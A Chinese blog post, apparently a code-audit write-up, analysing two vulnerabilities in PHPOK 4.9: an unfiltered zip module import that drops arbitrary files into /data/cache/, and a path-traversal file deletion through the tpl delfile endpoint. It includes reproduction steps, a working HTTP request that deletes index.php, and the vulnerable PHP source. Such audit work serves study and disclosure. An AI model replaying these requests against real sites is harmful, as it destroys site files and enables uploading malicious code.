phpok 4.9代码审计(每周一洞)

0x01 前言

一放暑假就特别多事情,很多事情都耽误了,看吐司文章看到一篇不错的审计文章,就学习下。

0x02 环境搭建

环境没什么要求PHPstudy就能搞定,这个要先创建数据库再安装程序的。

0x03 任意文件上传漏洞

漏洞复现

  1. 登录后台,点击模块管理
  2. 新建一个测试文件然后压缩
  3. 然后导入模块

    可以看到已经上传到了/data/cache/的目录下面了:
  4. 访问文件

    漏洞分析

    漏洞代码在framework/admin/modulec_control.php 642行。
    大家可以详细的分析这个流程,主要漏洞的代码是
    $this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_root.'data/cache/');
    没有做任何的过滤,直接把zip原样解压缩到/data/cache/的目录下面。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    	/**
    * 模块导入
    * @变量 zipfile 指定的ZIP文件地址
    **/
    public function import_f()
    {
    $zipfile = $this->get('zipfile');
    if(!$zipfile){
    $this->lib('form')->cssjs(array('form_type'=>'upload'));
    $this->addjs('js/webuploader/admin.upload.js');
    $this->view('module_import');
    }
    if(strpos($zipfile,'..') !== false){
    $this->error(P_Lang('不支持带..上级路径'));
    }
    if(!file_exists($this->dir_root.$zipfile)){
    $this->error(P_Lang('ZIP文件不存在'));
    }
    $this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_root.'data/cache/');
    if(!file_exists($this->dir_root.'data/cache/module.xml')){
    $this->error(P_Lang('导入模块失败,请检查解压缩是否成功'));
    }
    $rs = $info = $this->lib('xml')->read($this->dir_root.'data/cache/module.xml',true);
    if(!$rs){
    $this->error(P_Lang('XML内容解析异常'));
    }
    $tmp = $rs;
    if(isset($tmp['_fields'])){
    unset($tmp['_fields']);
    }

    $insert_id = $this->model('module')->save($tmp);
    if(!$insert_id){
    $this->error(P_Lang('模块导入失败,保存模块基本信息错误'));
    }
    $this->model('module')->create_tbl($insert_id);
    $tbl_exists = $this->model('module')->chk_tbl_exists($insert_id,$tmp['mtype']);
    if(!$tbl_exists){
    $this->model('module')->delete($insert_id);
    $this->error(P_Lang('创建模块表失败'));
    }
    if(isset($rs['_fields']) && $rs['_fields']){
    foreach($rs['_fields'] as $key=>$value){
    if($value['ext'] && is_array($value['ext'])){
    $value['ext'] = serialize($value['ext']);
    }
    $value['module_id'] = $insert_id;
    $this->model('module')->fields_save($value);
    $this->model('module')->create_fields($value['id']);
    }
    }
    $this->lib('file')->rm($this->dir_cache.'module.xml');
    $this->lib('file')->rm($this->dir_root.$zipfile);
    $this->success();
    }
    }

0x04 任意文件删除

漏洞复现

  1. 在设置->风格管理
  2. 点击文件管理
  3. 随便删除一个文件,点击抓包
  4. 改包发包,删除index.php文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    GET /admin.php?c=tpl&f=delfile&id=1&folder=%2F&title=../../index.php&_=1533453756715 HTTP/1.1
    Host: sb.com
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    request_type: ajax
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
    Referer: http://sb.com/admin.php?c=tpl&f=list&id=1
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: hd_sid=aZY7Qf; hd_auth=f0c7B2JXp7hhumOhqeqELbZ5FJA3C%2FW2AKt4di3duYf1l5T%2BbkCMPFkWus2WrHfUg2Z8np8oM4VygPGWolgu; PHPSESSION=tlcm8fq4vhio5gkh5l1f5156i3
    Connection: close
  5. 文件已删除,网站主页不能访问

    漏洞分析

    漏洞文件位置在于framework/admin/tpl_control.php的297行
    $file虽然是由几个参数拼接而成的,但是加上../../就可以回到任何位置,造成了任意文件删除的漏洞。

$file = $this->dir_root."tpl/".$rs["folder"].$folder.$title;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* 删除文件(夹)
**/
public function delfile_f()
{
if(!$this->popedom["filelist"]){
$this->error(P_Lang('您没有权限执行此操作'));
}
$id = $this->get("id","int");
if(!$id){
$this->error(P_Lang('未指定风格ID'));
}
$rs = $this->model('tpl')->get_one($id);
if(!$rs){
$this->error(P_Lang('风格信息不存在'));
}
if(!$rs["folder"]){
$this->error(P_Lang('未设置风格文件夹'));
}
$folder = $this->get("folder");
if(!$folder){
$folder = "/";
}
$title = $this->get("title");
$file = $this->dir_root."tpl/".$rs["folder"].$folder.$title;
if(!file_exists($file)){
$this->error(P_Lang('文件(夹)不存在'));
}
if(is_dir($file)){
$this->lib('file')->rm($file,"folder");
}else{
$this->lib('file')->rm($file);
}
$this->success();
}

0x05 结束

虽然说这个漏洞很简单,但是这个程序能申请CVE,这也提醒我们无论是什么大程序都会存在很明显的漏洞。

0x06 参考

程序下载:https://www.lanzous.com/i1ksjkd
https://www.t00ls.net/viewthread.php?tid=46682

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器